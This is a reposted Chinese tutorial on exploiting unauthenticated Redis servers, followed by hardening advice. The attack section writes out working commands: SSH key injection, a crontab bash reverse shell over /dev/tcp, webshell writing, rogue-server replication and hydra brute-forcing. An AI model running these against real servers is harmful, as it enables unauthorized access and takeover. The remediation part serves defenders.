安基网 首页 安全 攻防案例 查看内容

Redis未授权getshell及修复方案

2020-5-23 23:26| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 应用介绍虚的不说了,简单点说就是一个日志型数据库,并有主从同步的功能(优化性能)。漏洞介绍默认配置下redis并没有设置密码,被攻击者恶意利用可以导致未授权访问,可以有多种利用方式:服务器权限被获取和数据删除、泄露、加密勒索、植入yam2 minerd 挖矿程序、watch-smartd挖矿木马等安装redisdo ...

应用介绍

虚的不说了,简单点说就是一个日志型数据库,并有主从同步的功能(优化性能)。

漏洞介绍

默认配置下redis并没有设置密码,被攻击者恶意利用可以导致未授权访问,可以有多种利用方式:服务器权限被获取和数据删除、泄露、加密勒索、植入yam2 minerd 挖矿程序、watch-smartd挖矿木马等

安装redis

docker run -itd --name redis-test -p 6379:6379 redis

常用命令

ping:检测是否连通 且 有权限执行命令

info:读取Redis敏感数据

keys:

NAMECONTENTkeys *读取全部key及其对应的值get 读取某个key值set 增加keyflushall删除所有keydel key删除某个key

config:

NAMECONTENTconfig get dir读取备份目录config set dir设置备份目录config get dbfilename读取备份文件名config set dbfilename设置备份文件名

slaveof:slaveof PORT 设置主从关系

未授权getshell

写入公钥

条件:拥有root权限 或 对 /root/.ssh/ 目录可写

#vps生成一个公钥
ssh-keygen -t rsa
#将公钥写入靶机的key
cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > cl4y.txt
cat cl4y.txt | redis-cli -h  -x set cl4y#-x参数是将管道符之前的内容写入key
config set dir /root/.ssh/#如果没有权限则无法getshell
config set dbfilename "authorized_keys"
get cl4y
save

crontab定时任务反弹shell

条件:对 /var/spool/cron 目录可写

#vps监听一个端口
nc -lvvp 4444
set cl4y "nn*/1 * * * * /bin/bash -i>&/dev/tcp// 0>&1nn"
config set dir /var/spool/cron#如果没有权限则无法getshell
config set dbfilename root
save

网站写马

条件:已知网站根目录路径 且 目录可写

config set dir /var/www/html
set cl4y "nnnnnn"
config set dbfilename webshell.php
save

主从复制getshell

条件:这个比较玄学,测试了几台机器,只有一台成功了,咱也不知道为啥,希望师傅们知道的话能跟我说一下。

下载 这个项目然后命令:

#设置主从关系
slaveof
python3 redis-rogue-server.py --rhost  -lhost 

利用hydra暴力破解redis的密码

使用hydra工具可以对redis进行暴力破解

hydra -P passwd.txt redis://192.168.152.128

修复方案

ban掉高危命令(重启redis)

#修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

#或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

以低权限运行Redis(重启redis)

链接

Redis 设置密码(重启redis)

修改 redis.conf 文件,添加 requirepass mypassword

禁止外网访问 Redis(重启redis)

修改 redis.conf 文件,添加或修改 bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

修改默认端口

修改配置文件redis.conf文件 Port 6379

保证 authorized_keys 文件的安全

阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:chmod 400 ~/.ssh/authorized_keys为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:chattr +i ~/.ssh/authorized_keys然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:chattr +i ~/.ssh

设置防火墙策略  

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。




小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6829943280675848708/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部